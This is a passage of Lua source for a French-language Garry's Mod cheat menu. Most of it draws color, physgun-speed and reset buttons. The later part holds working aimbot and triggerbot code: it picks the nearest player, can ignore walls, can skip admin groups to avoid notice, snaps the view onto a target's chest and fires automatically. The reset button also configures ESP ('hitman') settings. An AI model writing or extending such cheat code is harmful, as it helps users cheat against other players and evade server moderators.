3660OptionsColorYellowMENU.Paint = function( self, w, h )
3661if self:IsHovered() then
3662draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3663surface.SetDrawColor(255, 255, 255 ,100)
3664surface.DrawOutlinedRect(0, 0, w, h)
3665else
3666draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3667surface.SetDrawColor(255, 255, 255 ,100)
3668surface.DrawOutlinedRect(0, 0, w, h)
3669end
3670OptionsColorYellowMENU.DoClick = function()
3671LocalPlayer():ConCommand("fiji_menu_princ_color 246")
3672LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3673LocalPlayer():ConCommand("fiji_menu_th_color 91")
3674LocalPlayer():ConCommand("fiji_style_menu 0")
3675surface.PlaySound( fiji_pityhover )
3676
3677end
3678end
3679local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenu )
3680OptionsColorGreenMENU:SetPos( 70,20 )
3681OptionsColorGreenMENU:SetSize( 20, 20 )
3682OptionsColorGreenMENU:SetText( " " )
3683OptionsColorGreenMENU.Paint = function( self, w, h )
3684if self:IsHovered() then
3685draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
3686surface.SetDrawColor(255, 255, 255 ,100)
3687surface.DrawOutlinedRect(0, 0, w, h)
3688else
3689draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
3690surface.SetDrawColor(255, 255, 255 ,100)
3691surface.DrawOutlinedRect(0, 0, w, h)
3692end
3693OptionsColorGreenMENU.DoClick = function()
3694LocalPlayer():ConCommand("fiji_menu_princ_color 130")
3695LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3696LocalPlayer():ConCommand("fiji_menu_th_color 132")
3697LocalPlayer():ConCommand("fiji_style_menu 0")
3698surface.PlaySound( fiji_pityhover )
3699
3700end
3701end
3702local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenu )
3703OptionsColorBlueMENU:SetPos( 92,20 )
3704OptionsColorBlueMENU:SetSize( 20, 20 )
3705OptionsColorBlueMENU:SetText( " " )
3706OptionsColorBlueMENU.Paint = function( self, w, h )
3707if self:IsHovered() then
3708draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3709surface.SetDrawColor(255, 255, 255 ,100)
3710surface.DrawOutlinedRect(0, 0, w, h)
3711else
3712draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3713surface.SetDrawColor(255, 255, 255 ,100)
3714surface.DrawOutlinedRect(0, 0, w, h)
3715end
3716OptionsColorBlueMENU.DoClick = function()
3717LocalPlayer():ConCommand("fiji_menu_princ_color 104")
3718LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3719LocalPlayer():ConCommand("fiji_menu_th_color 255")
3720LocalPlayer():ConCommand("fiji_style_menu 0")
3721surface.PlaySound( fiji_pityhover )
3722
3723end
3724end
3725local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenu )
3726OptionsColorPurpleMENU:SetPos( 114,20 )
3727OptionsColorPurpleMENU:SetSize( 20, 20 )
3728OptionsColorPurpleMENU:SetText( " " )
3729OptionsColorPurpleMENU.Paint = function( self, w, h )
3730if self:IsHovered() then
3731draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3732surface.SetDrawColor(255, 255, 255 ,100)
3733surface.DrawOutlinedRect(0, 0, w, h)
3734else
3735draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3736surface.SetDrawColor(255, 255, 255 ,100)
3737surface.DrawOutlinedRect(0, 0, w, h)
3738end
3739OptionsColorPurpleMENU.DoClick = function()
3740LocalPlayer():ConCommand("fiji_menu_princ_color 168")
3741LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3742LocalPlayer():ConCommand("fiji_menu_th_color 255")
3743LocalPlayer():ConCommand("fiji_style_menu 0")
3744surface.PlaySound( fiji_pityhover )
3745
3746end
3747end
3748local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenu )
3749OptionsColorPinkMENU:SetPos( 136,20 )
3750OptionsColorPinkMENU:SetSize( 20, 20 )
3751OptionsColorPinkMENU:SetText( " " )
3752OptionsColorPinkMENU.Paint = function( self, w, h )
3753if self:IsHovered() then
3754draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3755surface.SetDrawColor(255, 255, 255 ,100)
3756surface.DrawOutlinedRect(0, 0, w, h)
3757else
3758draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3759surface.SetDrawColor(255, 255, 255 ,100)
3760surface.DrawOutlinedRect(0, 0, w, h)
3761end
3762OptionsColorPinkMENU.DoClick = function()
3763LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3764LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3765LocalPlayer():ConCommand("fiji_menu_th_color 235")
3766LocalPlayer():ConCommand("fiji_style_menu 0")
3767surface.PlaySound( fiji_pityhover )
3768
3769end
3770end
3771local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenu )
3772OptionsColorBlackMENU:SetPos( 158,20 )
3773OptionsColorBlackMENU:SetSize( 20, 20 )
3774OptionsColorBlackMENU:SetText( " " )
3775OptionsColorBlackMENU.Paint = function( self, w, h )
3776if self:IsHovered() then
3777draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3778surface.SetDrawColor(255, 255, 255 ,100)
3779surface.DrawOutlinedRect(0, 0, w, h)
3780else
3781draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3782surface.SetDrawColor(255, 255, 255 ,100)
3783surface.DrawOutlinedRect(0, 0, w, h)
3784end
3785OptionsColorBlackMENU.DoClick = function()
3786LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3787LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3788LocalPlayer():ConCommand("fiji_menu_th_color 60")
3789LocalPlayer():ConCommand("fiji_style_menu 0")
3790surface.PlaySound( fiji_pityhover )
3791
3792end
3793end
3794local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenu )
3795OptionsColormultiMENU:SetPos( 180,20 )
3796OptionsColormultiMENU:SetSize( 20, 20 )
3797OptionsColormultiMENU:SetText( " " )
3798OptionsColormultiMENU.Paint = function( self, w, h )
3799if self:IsHovered() then
3800draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3801surface.SetDrawColor(255, 255, 255 ,100)
3802surface.DrawOutlinedRect(0, 0, w, h)
3803else
3804draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5
3805))
3806surface.SetDrawColor(255, 255, 255 ,100)
3807surface.DrawOutlinedRect(0, 0, w, h)
3808end
3809OptionsColormultiMENU.DoClick = function()
3810LocalPlayer():ConCommand("fiji_style_menu 1")
3811surface.PlaySound( fiji_pityhover )
3812
3813end
3814end
3815local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenu )
3816OptionsColorhackMENU:SetPos( 202,20 )
3817OptionsColorhackMENU:SetSize( 20, 20 )
3818OptionsColorhackMENU:SetText( " " )
3819OptionsColorhackMENU.Paint = function( self, w, h )
3820if self:IsHovered() then
3821draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3822surface.SetDrawColor(255,
3823 255, 255 ,100)
3824surface.DrawOutlinedRect(0, 0, w, h)
3825else
3826draw.RoundedBox( 0, 0, 0, w, h,
3827Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3828surface.SetDrawColor(255,
3829 255, 255 ,100)
3830surface.DrawOutlinedRect(0, 0, w, h)
3831end
3832OptionsColorhackMENU.DoClick = function()
3833LocalPlayer():ConCommand("fiji_style_menu 2")
3834surface.PlaySound( fiji_pityhover )
3835
3836end
3837end
3838
3839local Optionsphysicspeed = vgui.Create( "DButton", pContent)
3840Optionsphysicspeed:SetPos( 303, 348)
3841Optionsphysicspeed:SetSize( 50, 20 )
3842Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3843Optionsphysicspeed:SetText( "Rapide" )
3844Optionsphysicspeed.Paint = function( self, w, h )
3845draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3846if self:IsHovered() then
3847Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3848draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3849else
3850Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 100 ) )
3851draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3852end
3853Optionsphysicspeed.OnCursorEntered = function(self)
3854surface.PlaySound( fiji_pityhover )
3855end
3856Optionsphysicspeed.DoClick = function()
3857LocalPlayer():ConCommand("physgun_wheelspeed 1500")
3858surface.PlaySound( fiji_pityclick )
3859end
3860end
3861
3862local Optionsphysicmedium = vgui.Create( "DButton", pContent)
3863Optionsphysicmedium:SetPos( 243, 348)
3864Optionsphysicmedium:SetSize( 50, 20 )
3865Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3866Optionsphysicmedium:SetText( "Moyen" )
3867Optionsphysicmedium.Paint = function( self, w, h )
3868draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3869if self:IsHovered() then
3870Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3871draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3872else
3873Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 100 ) )
3874draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3875end
3876Optionsphysicmedium.OnCursorEntered = function(self)
3877surface.PlaySound( fiji_pityhover )
3878end
3879Optionsphysicmedium.DoClick = function()
3880LocalPlayer():ConCommand("physgun_wheelspeed 600")
3881surface.PlaySound( fiji_pityclick )
3882end
3883end
3884
3885local Optionsphysiclow = vgui.Create( "DButton", pContent)
3886Optionsphysiclow:SetPos( 180, 348)
3887Optionsphysiclow:SetSize( 50, 20 )
3888Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3889Optionsphysiclow:SetText( "Lent" )
3890Optionsphysiclow.Paint = function( self, w, h )
3891draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3892if self:IsHovered() then
3893Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3894draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3895else
3896Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 100 ) )
3897draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3898end
3899Optionsphysiclow.OnCursorEntered = function(self)
3900surface.PlaySound( fiji_pityhover )
3901end
3902Optionsphysiclow.DoClick = function()
3903LocalPlayer():ConCommand("physgun_wheelspeed 20")
3904surface.PlaySound( fiji_pityclick )
3905end
3906end
3907
3908local OptionsColorDEFAULT = vgui.Create( "DButton", pContent)
3909OptionsColorDEFAULT:SetPos( 243, 83)
3910OptionsColorDEFAULT:SetSize( 50, 20 )
3911OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3912OptionsColorDEFAULT:SetText( "Default" )
3913OptionsColorDEFAULT.Paint = function( self, w, h )
3914draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3915if self:IsHovered() then
3916OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3917draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3918else
3919OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 100 ) )
3920draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3921end
3922OptionsColorDEFAULT.OnCursorEntered = function(self)
3923surface.PlaySound( fiji_pityhover )
3924end
3925OptionsColorDEFAULT.DoClick = function()
3926LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3927LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3928LocalPlayer():ConCommand("fiji_menu_th_color 60")
3929LocalPlayer():ConCommand("fiji_style_menu 3")
3930surface.PlaySound( fiji_pityclick )
3931end
3932end
3933
3934local Resetb = vgui.Create( "DButton", pContent)
3935Resetb:SetPos( 207, 123)
3936Resetb:SetSize( 120, 35 )
3937Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3938Resetb:SetText( "Réinitialiser le menu" )
3939Resetb.Paint = function( self, w, h )
3940draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3941if self:IsHovered() then
3942Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3943draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3944aBorder = Color( 110,110,110, 80 )
3945else
3946Resetb:SetTextColor( Color( 255, 255, 255, 80 ) )
3947draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3948aBorder = Color( 110,110,110, 0 )
3949end
3950surface.SetDrawColor( aBorder )
3951surface.DrawOutlinedRect( 0, 0, w, h )
3952Resetb.OnCursorEntered = function(self)
3953surface.PlaySound( "mat/pityhover.wav" )
3954end
3955Resetb.DoClick = function()
3956NOTIFICATION("Menu réinitialiser avec succès")
3957surface.PlaySound( fiji_pityclick )
3958LocalPlayer():ConCommand("fiji_menu_princ_color 50")
3959LocalPlayer():ConCommand("fiji_menu_sec_color 50")
3960LocalPlayer():ConCommand("fiji_menu_th_color 50")
3961LocalPlayer():ConCommand("fiji_style_menu 3")
3962LocalPlayer():ConCommand("fiji_principal_color 255")
3963LocalPlayer():ConCommand("fiji_secondary_color 0")
3964LocalPlayer():ConCommand("fiji_third_color 0")
3965LocalPlayer():ConCommand("fiji_principal_color_infos 255")
3966LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
3967LocalPlayer():ConCommand("fiji_third_color_infos 255")
3968LocalPlayer():ConCommand("fiji_principal_color_ent 255")
3969LocalPlayer():ConCommand("fiji_secondary_color_ent 0")
3970LocalPlayer():ConCommand("fiji_third_color_ent 0")
3971LocalPlayer():ConCommand("fiji_principal_color_props 255")
3972LocalPlayer():ConCommand("fiji_secondary_color_props 0")
3973LocalPlayer():ConCommand("fiji_third_color_props 0")
3974LocalPlayer():ConCommand("BD_hitman_enable 1")
3975LocalPlayer():ConCommand("BD_hitman_enable_ent 0")
3976LocalPlayer():ConCommand("BD_hitman_enable_props 0")
3977LocalPlayer():ConCommand("BD_hitman_type 1")
3978LocalPlayer():ConCommand("BD_hitman_infos_name 1")
3979LocalPlayer():ConCommand("BD_hitman_infos_weapons 1")
3980LocalPlayer():ConCommand("BD_hitman_infos_health 1")
3981LocalPlayer():ConCommand("BD_hitman_distance 7000")
3982LocalPlayer():ConCommand("BD_hitman_distance_infos 800")
3983LocalPlayer():ConCommand("BD_hitman_distance_ent 800")
3984LocalPlayer():ConCommand("fiji_aimbot_active 0")
3985LocalPlayer():ConCommand("fiji_aimbot_friends 0")
3986LocalPlayer():ConCommand("fiji_aimbot_team 0")
3987LocalPlayer():ConCommand("fiji_aimbot_admin 0")
3988LocalPlayer():ConCommand("fiji_aimbot_propa 0")
3989LocalPlayer():ConCommand("fiji_aimbot_wall 0")
3990LocalPlayer():ConCommand("fiji_aimbot_fov 180")
3991LocalPlayer():ConCommand("fiji_aimbot_dist 1500")
3992LocalPlayer():ConCommand("fiji_triggerbot_active 0")
3993LocalPlayer():ConCommand("fiji_triggerbot_opti 0")
3994LocalPlayer():ConCommand("fiji_triggerbot_real 0")
3995LocalPlayer():ConCommand("fiji_triggerbot_team 0")
3996LocalPlayer():ConCommand("fiji_triggerbot_wall 0")
3997LocalPlayer():ConCommand("fiji_triggerbot_friends 0")
3998LocalPlayer():ConCommand("fiji_exist_contentpity 1")
3999LocalPlayer():ConCommand("fiji_aimbot_key KEY_W")
4000LocalPlayer():ConCommand("fiji_aimbot_relock 0")
4001LocalPlayer():ConCommand("fiji_aimbot_attack chest")
4002LocalPlayer():ConCommand("fiji_exist_contentpity 1")
4003end
4004
4005
4006
4007end -- enf function options
4008
4009end
4010function BD:Aimbot( pContent )
4011
4012local BDMenuAim = vgui.Create("DPanel", pContent)
4013BDMenuAim:SetSize( 539, 388 )
4014BDMenuAim:SetPos( 0, 0 )
4015BDMenuAim.Paint = function( self, w, h)
4016if fiji_style_menu:GetInt() == 2 then
4017draw.RoundedBox( 0, 0, 0, 2, h - 238,
4018Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4019 )
4020draw.RoundedBox( 0, 0, 194, 2, h - 190,
4021Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4022 )
4023
4024elseif fiji_style_menu:GetInt() == 1 then
4025draw.RoundedBox( 0, 0, 0, 2, h - 238, HSVToColor( CurTime() % 6 * 60,
40261, 0.5 ) )
4027draw.RoundedBox( 0, 0, 194, 2, h - 190, HSVToColor( CurTime() % 6 * 60,
4028 1, 0.5 ) )
4029
4030
4031else
4032draw.RoundedBox( 0, 0, 0, 2, h - 238, Color(
4033fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4034 255 ) )
4035draw.RoundedBox( 0, 0, 194, 2, h - 190, Color(
4036fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4037 255 ) )
4038end
4039
4040
4041draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4042draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4043draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
4044draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
4045draw.RoundedBox( 0, 294, 10, w - 451, 2, Color( 50,50,50, 255 ) )
4046draw.SimpleText("Aimbot", "pity_home3", 248, 10, Color(100, 100,
4047100,255), 0, 1)
4048draw.SimpleText("Cibles", "pity_home3", 250, 80, Color(100, 100,
4049100,255), 0, 1)
4050--draw.SimpleText("Touche Aimbot : B", "pity_home3", 220, 150,
4051Color(100, 100, 100,255), 0, 1)
4052
4053
4054
4055draw.RoundedBox( 200, 382, 205, 2, h - 251, Color( 50,50,50, 255 ) )
4056draw.RoundedBox( 200, 149, 205, 2, h - 251, Color( 50,50,50, 255 ) )
4057draw.RoundedBox( 0, 151, 340, w - 307, 2, Color( 50,50,50, 255 ) )
4058draw.RoundedBox( 0, 151, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4059draw.RoundedBox( 0, 300, 205, w - 456, 2, Color( 50,50,50, 255 ) )
4060draw.SimpleText("Triggerbot", "pity_home3", 239, 205, Color(100, 100,
4061100,255), 0, 1)
4062draw.SimpleText("Cibles", "pity_home3", 250, 285, Color(100, 100,
4063100,255), 0, 1)
4064draw.SimpleText("Touche Aimbot", "pity_homemini", 234, 352, Color(100,
4065100, 100,255), 0, 1)
4066
4067
4068end
4069
4070local aimbinder = vgui.Create( "DBinder", pContent )
4071aimbinder:SetSize( 234, 25 )
4072aimbinder:SetPos( 150,360 )
4073aimbinder:SetConVar( "fiji_aimbot_key" )
4074function aimbinder:Paint( w, h )
4075if self:IsHovered() then
4076draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
4077aBorder = Color( 255,110,110, 150 )
4078else
4079draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4080aBorder = Color( 250,110,110, 50 )
4081end
4082aimbinder.OnCursorEntered = function(self)
4083surface.PlaySound( fiji_pityhover )
4084
4085end
4086surface.SetDrawColor( aBorder )
4087surface.DrawOutlinedRect( 0, 0, w, h )
4088
4089
4090end
4091
4092
4093local pPAim = vgui.Create( "DPanel", pContent )
4094pPAim:SetSize( 110, 35 )
4095pPAim:SetPos( 154, 135 )
4096function pPAim:Paint( w, h )
4097draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4098draw.SimpleText( "♦", "pity_home5", 14, h / 2 + 7, color_white, 0, 1 )
4099draw.SimpleText( "DISTANCE CIBLES", "pity_home5", 10, 8, color_white, 0,
4100 1 )
4101
4102end
4103local pDistanceAIM = vgui.Create( "DNumSlider", pContent )
4104pDistanceAIM:SetPos( 107, 135 )
4105pDistanceAIM:SetSize( 180, 50 )
4106pDistanceAIM:SetText( "" )
4107pDistanceAIM:SetMin( 100 )
4108pDistanceAIM:SetMax( 3000 )
4109pDistanceAIM:SetDecimals( 0 )
4110pDistanceAIM:SetValue( fiji_aimbot_dist:GetInt() or 200 )
4111pDistanceAIM.Scratch:SetVisible( false )
4112pDistanceAIM.TextArea:SetTextColor( color_white )
4113function pDistanceAIM:OnValueChanged( val )
4114RunConsoleCommand( 'fiji_aimbot_dist', tonumber( self:GetValue() ) )
4115end
4116function pDistanceAIM.Slider:Paint(w, h)
4117surface.SetDrawColor(0, 0, 0, 255)
4118surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
4119barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
4120
4121if fiji_style_menu:GetInt() == 2 then
4122surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4123surface.DrawRect(0,
4124 21, barw, h / 5)
4125
4126elseif fiji_style_menu:GetInt() == 1 then
4127surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
4128surface.DrawRect(0, 21, barw, h / 5)
4129
4130else
4131surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
4132surface.DrawRect(0,
4133 21, barw, h / 5)
4134end
4135end
4136function pDistanceAIM:SetHeight(tall)
4137self.Slider.Knob:SetHeight(tall / 2 + 4)
4138DSlider.SetHeight(self, tall)
4139pDistanceAIM.SetTall = pDistanceAIM.SetHeight
4140pDistanceAIM.Slider.Knob:SetTall(5)
4141end
4142function pDistanceAIM.Slider.Knob:Paint(w, h)
4143derma.SkinHook( "Paint", "Button", self, 0, 0 )
4144end
4145
4146
4147local pPAim2 = vgui.Create( "DPanel", pContent )
4148pPAim2:SetSize( 110, 35 )
4149pPAim2:SetPos( 269, 135 )
4150function pPAim2:Paint( w, h )
4151draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4152draw.SimpleText( "♦", "pity_home5", 14, h / 2 + 7, color_white, 0, 1 )
4153draw.SimpleText( "CHAMP DE VISION", "pity_home5", 10, 8, color_white, 0,
4154 1 )
4155
4156end
4157local pDistanceAIMb = vgui.Create( "DNumSlider", pContent )
4158pDistanceAIMb:SetPos( 220, 135 )
4159pDistanceAIMb:SetSize( 180, 50 )
4160pDistanceAIMb:SetText( "" )
4161pDistanceAIMb:SetMin( 5 )
4162pDistanceAIMb:SetMax( 180 )
4163pDistanceAIMb:SetDecimals( 0 )
4164pDistanceAIMb:SetValue( fiji_aimbot_fov:GetInt() or 200 )
4165pDistanceAIMb.Scratch:SetVisible( false )
4166pDistanceAIMb.TextArea:SetTextColor( color_white )
4167function pDistanceAIMb:OnValueChanged( val )
4168RunConsoleCommand( 'fiji_aimbot_fov', tonumber( self:GetValue() ) )
4169end
4170function pDistanceAIMb.Slider:Paint(w, h)
4171surface.SetDrawColor(0, 0, 0, 255)
4172surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local
4173barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
4174
4175if fiji_style_menu:GetInt() == 2 then
4176surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4177surface.DrawRect(0,
4178 21, barw, h / 5)
4179
4180elseif fiji_style_menu:GetInt() == 1 then
4181surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
4182surface.DrawRect(0, 21, barw, h / 5)
4183
4184else
4185surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
4186surface.DrawRect(0,
4187 21, barw, h / 5)
4188end
4189end
4190function pDistanceAIMb:SetHeight(tall)
4191self.Slider.Knob:SetHeight(tall / 2 + 4)
4192DSlider.SetHeight(self, tall)
4193pDistanceAIMb.SetTall = pDistanceAIMb.SetHeight
4194pDistanceAIMb.Slider.Knob:SetTall(5)
4195end
4196function pDistanceAIMb.Slider.Knob:Paint(w, h)
4197derma.SkinHook( "Paint", "Button", self, 0, 0 )
4198end
4199
4200local tblAdminGroups = {
4201["superadmin"] = true,
4202["admin"] = true,
4203["administrator"] = true,
4204["administrateur"] = true,
4205["moderateur"] = true,
4206["modérateur"] = true,
4207["moderateur test"] = true,
4208["moderateur-test"] = true,
4209["modérateur test"] = true,
4210["modérateur-test"] = true
4211}
4212
4213
4214local pTarget
4215
4216function findNearestPlayer()
4217local intDist = math.huge
4218pTarget = pTarget or nil
4219local angNew = LocalPlayer():GetAngles()
4220for k, v in pairs( player.GetAll() ) do
4221-- Cannot self-aim
4222if v == LocalPlayer() then continue end
4223-- Die
4224if not v:Alive() then continue end
4225-- God
4226if v:HasGodMode() then continue end
4227-- Same Team
4228if fiji_aimbot_team:GetInt() == 0 && v:Team() ==
4229LocalPlayer():Team() then continue end
4230-- Aim Admins
4231if fiji_aimbot_admin:GetInt() == 0 &&
4232tblAdminGroups[v:GetUserGroup()] then continue end
4233-- Max dist
4234if v:GetPos():DistToSqr( LocalPlayer():GetPos() ) >
4235fiji_aimbot_dist:GetInt() ^ 2 then continue end
4236-- Steam Friend
4237if fiji_aimbot_friends:GetInt() == 0 && v:GetFriendStatus() ==
4238"friend" then continue end
4239
4240-- Check Nearest
4241local newdist = LocalPlayer():GetPos():DistToSqr( v:GetPos() )
4242if newdist < intDist then
4243
4244-- Aim World
4245if fiji_aimbot_wall:GetInt() == 0 then
4246local tr = util.TraceHull( {
4247start = LocalPlayer():EyePos(),
4248endpos = v:EyePos(),
4249maxs = math.huge,
4250mins = 10,
4251filter = v
4252} )
4253if tr.Hit then continue end
4254end
4255-- if fiji_aimbot_wall:GetInt() == 0 && tr.Hit then continue end
4256
4257local eyes = v:LookupAttachment( fiji_aimbot_attack:GetString() )
4258eyes = ( eyes && v:GetAttachment( eyes ).Pos || v:LocalToWorld(
4259 v:OBBCenter() ) )
4260
4261local intDiff = math.AngleDifference( ( eyes - LocalPlayer():EyePos()
4262):Angle().yaw, LocalPlayer():GetAngles().yaw )
4263intDiff = math.abs( intDiff )
4264
4265if intDiff > fiji_aimbot_fov:GetInt() then continue end
4266
4267
4268-- Define New
4269pTarget = v
4270intDist = newdist
4271end
4272end
4273
4274return pTarget or nil
4275end
4276
4277hook.Add( "PlayerButtonDown", "CPaCoolHack:PlayerButtonDown", function(
4278pPlayer, button )
4279if gui.IsGameUIVisible() then return end
4280if fiji_aimbot_active:GetInt() != 1 then return end
4281if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
4282
4283pTarget = findNearestPlayer()
4284end)
4285
4286hook.Add( "PlayerButtonUp", "CPaCoolHack:PlayerButtonUp", function(
4287pPlayer, button )
4288if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
4289
4290pTarget = nil
4291end)
4292
4293hook.Add( "Think", "dkzaodjzaodjza", function()
4294if gui.IsGameUIVisible() then return end
4295if fiji_aimbot_active:GetInt() != 1 then return end
4296if not input.IsKeyDown( GetConVarNumber( "fiji_aimbot_key" ) ) then
4297return end
4298
4299-- Nobody Found
4300if not pTarget || pTarget == nil then return end
4301if not IsValid( pTarget ) || not pTarget:IsPlayer() || not
4302pTarget:Alive() then
4303if fiji_aimbot_relock:GetInt() == 1 then
4304pTarget = findNearestPlayer()
4305else
4306pTarget = nil
4307end
4308return
4309end
4310
4311-- Define New
4312local eyes = pTarget:LookupAttachment( "chest" ) -- "chest" = corps si
4313tu veux
4314eyes = ( eyes && pTarget:GetAttachment( eyes ).Pos ||
4315pTarget:LocalToWorld( pTarget:OBBCenter() ) )
4316angNew = ( eyes - LocalPlayer():EyePos() ):Angle()
4317-- Aim
4318LocalPlayer():SetEyeAngles( angNew )
4319end)
4320
4321local tblConVarsOptions = {
4322{ title = "Activé", cv = "aimbot_enabled" },
4323{ title = "Travers Mur", cv = "aimbot_wall" },
4324{ title = "Amis Steam", cv = "aimbot_friends" },
4325{ title = "Même team", cv = "aimbot_team" },
4326{ title = "Administrateurs", cv = "aimbot_admins" },
4327}
4328
4329local ply = LocalPlayer()
4330
4331hook.Add( "Think", "Triggerbot", function()
4332local EntTrace = ply:GetEyeTrace().Entity
4333for k,v in pairs (player.GetAll()) do
4334if fiji_triggerbot_active:GetInt() == 1 and ply:Alive() and
4335ply:GetActiveWeapon():IsValid() and ( EntTrace:IsPlayer() ) then
4336if fiji_triggerbot_friends:GetInt() == 0 and EntTrace:IsPlayer() and
4337EntTrace:GetFriendStatus() == "friend" then return end
4338if fiji_triggerbot_team:GetInt() == 0 and EntTrace:IsPlayer() and
4339EntTrace:Team() == ply:Team() then return end
4340if fiji_triggerbot_wall:GetInt() == 0 and
4341tblAdminGroups[v:GetUserGroup()] then continue else end
4342local pos = LocalPlayer():GetShootPos()
4343local ang = LocalPlayer():GetAimVector()
4344local tracedata = {}
4345local td = {start = v:GetShootPos(), endpos = v:GetShootPos() +
4346v:EyeAngles():Forward() * 65535, filter = v, mask = MASK_SHOT}
4347local tr = util.TraceLine(td)
4348tracedata.start = pos
4349tracedata.endpos = pos+(ang*9999999999999)
4350local trace = util.TraceLine(tracedata)
4351if(trace.HitNonWorld) then
4352if tr.Entity:IsPlayer() then
4353RunConsoleCommand("+attack")
4354timer.Simple(0.000000001, function() RunConsoleCommand("-attack") end)
4355end
4356end
4357end
4358end
4359end)
4360
4361
4362
4363
4364
4365
4366
4367local btnaimbotact = BD:CreateBtn( "Activé", 165, 30, 65, 25, pContent )
4368
